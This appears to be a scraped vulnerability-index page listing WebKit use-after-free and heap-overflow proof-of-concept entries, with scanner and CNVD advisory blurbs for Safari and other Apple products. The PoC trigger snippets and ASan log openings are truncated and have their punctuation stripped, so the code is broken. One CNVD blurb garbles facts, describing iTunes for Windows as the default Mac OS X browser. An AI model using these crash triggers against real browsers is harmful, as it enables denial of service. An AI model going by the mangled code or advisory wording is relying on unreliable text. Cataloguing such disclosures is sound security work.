WebKit - WebCore::AccessibilityRenderObject::handleAriaExpandedChanged Use-After-Free

WebKit - WebCore::AccessibilityRenderObject::handleAriaExpandedChanged Use-After-Free div visibility: collapse function eventhandler document.execCommand"bold", false; img.style.removeProperty"-webkit-appearance"; img.setAttribute"aria-expanded", "false"; aaa !--...

WebKit - WebCore::AccessibilityRenderObject::handleAriaExpandedChanged Use-After-Free Exploit

Exploit for multiple platform in category dos / poc div visibility: collapse function eventhandler document.execCommand"bold", false; img.style.removeProperty"-webkit-appearance"; img.setAttribute"aria-expanded", "false"; aaa !-- =================================================================...

WebKit - WebCore::InputType::element Use-After-Free Exploit

Exploit for multiple platform in category dos / poc var runcount = 0; function go runcount++; ifruncount 2 return; i.type = "foo"; i.select; i.type = "search"; document.onsearch = document.body.onload; document.execCommand"insertHTML", false, ""; !--...

WebKit - WebCore::Node::nextSibling Use-After-Free Exploit

Exploit for multiple platform in category dos / poc function freememory var a; forvar i=0;i !-- ================================================================= ASan log: ================================================================= ==29516==ERROR: AddressSanitizer: heap-use-after-free on...

WebKit - WebCore::Node::getFlag Use-After-Free Exploit

Exploit for multiple platform in category dos / poc -webkit-flow-into: textarea; function freememory var a; forvar i=0;i foo !-- ================================================================= ASan log: ================================================================= ==29717==ERROR:...

macOS : Apple Safari < 10.1.2 Multiple Vulnerabilities

The version of Apple Safari installed on the remote macOS or Mac OS X host is prior to 10.1.2. It is, therefore, affected by multiple vulnerabilities : - An information disclosure vulnerability exists in the WebKit component due to improper handling of SVG filters. An unauthenticated, remote...

webkit2-gtk3 -- multiple vulnerabilities

The Webkit gtk team reports: Please reference CVE/URL list for details...

WebKit - 'WebCore::getCachedWrapper' Use-After-Free

function freememory var a; forvar i=0;i ::get const /Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Ver...

WebKit - 'WebCore::Node::nextSibling' Use-After-Free

function freememory var a; forvar i=0;i !-- ================================================================= ASan log: ================================================================= ==29516==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c0000b7070 at pc 0x0001111c843b bp...

WebKit - 'WebCore::RenderSearchField::addSearchResult' Heap Buffer Overflow

function go i.value = "1"; i.type = "search"; f.submit; ::buffer /Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x8664+0x2694d46 1 0x116496bed in WTF::Vector::end...

WebKit - WebCore::Node::getFlag Use-After-Free

WebKit - WebCore::Node::getFlag Use-After-Free -webkit-flow-into: textarea; function freememory var a; forvar i=0;i foo !-- ================================================================= ASan log: ================================================================= ==29717==ERROR: AddressSanitize...

WebKit - WebCore::RenderSearchField::addSearchResult Heap Buffer Overflow

WebKit - WebCore::RenderSearchField::addSearchResult Heap Buffer Overflow function go i.value = "1"; i.type = "search"; f.submit; ::buffer /Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x8664+0x2694d46 1 0x116496bed in WTF::Vector::end...

WebKit - WebCore::RenderObject with Accessibility Enabled Use-After-Free

WebKit - WebCore::RenderObject with Accessibility Enabled Use-After-Free link text-transform: lowercase; link::first-letter border-spacing: 1em; function go dt.appendChildlink; var s = link.style; s.setProperty"display", "table-column-group"; s.setProperty"-webkit-appearance", "menulist-button";...

WebKit - WebCore::RenderObject with Accessibility Enabled Use-After-Free Exploit

Exploit for multiple platform in category dos / poc link text-transform: lowercase; link::first-letter border-spacing: 1em; function go dt.appendChildlink; var s = link.style; s.setProperty"display", "table-column-group"; s.setProperty"-webkit-appearance", "menulist-button"; function eventhandler...

WebKit - 'WebCore::AccessibilityRenderObject::handleAriaExpandedChanged' Use-After-Free

div visibility: collapse function eventhandler document.execCommand"bold", false; img.style.removeProperty"-webkit-appearance"; img.setAttribute"aria-expanded", "false"; aaa !-- ================================================================= ASan log:...

WebKit - 'WebCore::InputType::element' Use-After-Free (1)

var runcount = 0; function go runcount++; ifruncount 2 return; i.type = "foo"; i.select; i.type = "search"; document.onsearch = document.body.onload; document.execCommand"insertHTML", false, ""; !-- ================================================================= ASan log:...

WebKit memory corruption vulnerability in multiple Apple products (CNVD-2017-16879)

Apple iOS, iCloud for Windows, iTunes for Windows, Safari, and tvOS are products of Apple Inc. Apple iOS is an operating system developed for mobile devices; Safari is a web browser that is the default browser included with the Mac OS X and iOS operating systems. WebKit is an open source web...

Multiple Apple Products WebKit Page Loading Memory Corruption Vulnerability

Apple Safari is a web browser that is the default browser that comes with Mac OS X and iOS operating systems; tvOS is a smart TV operating system; iOS is an operating system developed for mobile devices.WebKit Page Loading component is one of the WebKit page loading components. A memory corruptio...

Apple iOS and Safari WebKit Address Bar Forgery Vulnerability

Apple iOS and Safari are both products of Apple Inc. Apple iOS is an operating system developed for mobile devices; Safari is a web browser that is the default browser that comes with Mac OS X and iOS operating systems; WebKit is an open-source web browser engine developed by KDE, Apple, Google,...

Multiple Apple Products WebKit Security Bypass Vulnerability (CNVD-2017-16988)

Apple iOS, iCloud for Windows, iTunes for Windows, and Safari are products of Apple Inc. iTunes for Windows is a suite of Windows-based media player applications. iTunes for Windows is the default browser that comes with Mac OS X and iOS operating systems. iTunes for Windows is an open source web...